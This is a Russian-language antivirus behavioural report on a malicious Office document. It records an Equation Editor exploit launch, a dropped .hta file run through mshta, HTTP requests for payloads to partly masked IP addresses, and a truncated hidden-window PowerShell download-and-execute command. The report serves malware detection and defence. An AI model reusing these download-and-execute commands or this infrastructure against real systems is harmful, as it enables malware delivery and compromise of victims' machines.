Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\mshta.exe' "%APPDATA%\driodmonday.hta"
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\driodmonday.hta
Сетевая активность
Подключается к
- '17#.#45.214.91':80
- 'up#####eimagens.com.br':443
- '45.#4.19.84':80
TCP
Запросы HTTP GET
- http://17#.#45.214.91/htamicrosoftredesignbuddyupdationchildprocessthroughballonupdationprocess.doC
- http://17#.#45.214.91/droidmonday.hta
- http://45.#4.19.84/xampp/bkp/bkp_hta.jpg
Другие
- 'up#####eimagens.com.br':443
UDP
- DNS ASK up#####eimagens.com.br
Другое
Ищет следующие окна
- ClassName: 'HTML Application Host Window Class' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach (...' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\winword.exe' -Embedding
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach (...
